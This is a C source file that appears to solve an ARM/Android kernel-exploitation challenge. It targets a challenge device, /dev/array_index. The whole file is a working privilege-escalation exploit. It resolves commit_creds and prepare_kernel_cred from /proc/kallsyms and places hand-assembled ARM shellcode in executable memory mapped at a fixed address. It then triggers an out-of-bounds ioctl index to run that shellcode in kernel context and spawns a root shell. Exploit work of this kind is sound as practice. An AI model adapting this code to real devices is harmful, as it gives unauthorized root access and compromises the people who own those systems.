#include <stdio.h>
#include <strings.h>
#include <fcntl.h>
#include <sys/mman.h>
#include "../../module/CommandHandler.h"
#include "dbg.h"

__u32
get_symbol(char *name)
{
        FILE *f;
        __u32 addr;
        char dummy, sname[512];
        int ret = 0;

        f = fopen("/proc/kallsyms", "r");
        if (!f) {
                return 0;
        }

        while (ret != EOF) {
                ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
                if (ret == 0) {
                        fscanf(f, "%s\n", sname);
                        continue;
                }
                if (!strcmp(name, sname)) {
                        printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
                        return addr;
                }
        }

        return 0;
}

__u32 commit_creds;
__u32 prepare_kernel_cred;

int main(void){

  commit_creds =  get_symbol("commit_creds");
  prepare_kernel_cred = get_symbol("prepare_kernel_cred");


  int cmd_handler = open("/dev/array_index", O_RDWR);
  check(cmd_handler >= 0, "Error opening challenge device");

   __u32 mmap_start = 0x02000000, mmap_size = 0x15000;

   printf("[+] Mapping userspace memory at 0x%x\n", mmap_start);

   void * mapped = mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
       MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
   check(mapped != MAP_FAILED, "Failed mapping");

   //0x00000000 is nop for ARM
   bzero( (void*)mmap_start, mmap_size );

   __u32 jump[] = {
       //00000000 <_start>:
       /*   0:*/   0xe92d4010,           //  push    {r4, lr}
       /*   4:*/   0xe59f3010,           //  ldr r3, [pc, #16]   ; 1c <_start+0x1c> (prepare_kernel_creds)
       /*   8:*/   0xe3a00000,           //  mov r0, #0
       /*   c:*/   0xe12fff33,           //  blx r3
       /*  10:*/   0xe59f3008,           //  ldr r3, [pc, #8]    ; 20 <_start+0x20>  (commit_creds)
       /*  14:*/   0xe12fff33,           //  blx r3
       /*  18:*/   0xe8bd8010,           //  pop {r4, pc}
       /*  1c:*/   prepare_kernel_cred,  //  .word   prepare_kernel_cred
       /*  20:*/   commit_creds          //  .word   commit_creds
   };

   memcpy( (void*)mmap_start+mmap_size - sizeof(jump), jump, sizeof(jump));

  printf("[+] Triggering the exploit\n");
  int rc = ioctl(cmd_handler, RUN_COMMAND_HANDLER, 0x601);
  check(rc != -1, "IOCTL failed");

  printf("uid=%d, euid=%d\n",getuid(), geteuid() );

  if(!getuid())
    execl( "/system/bin/sh", "sh", (char*) NULL);

  return 0;
error:
  return -1;
}
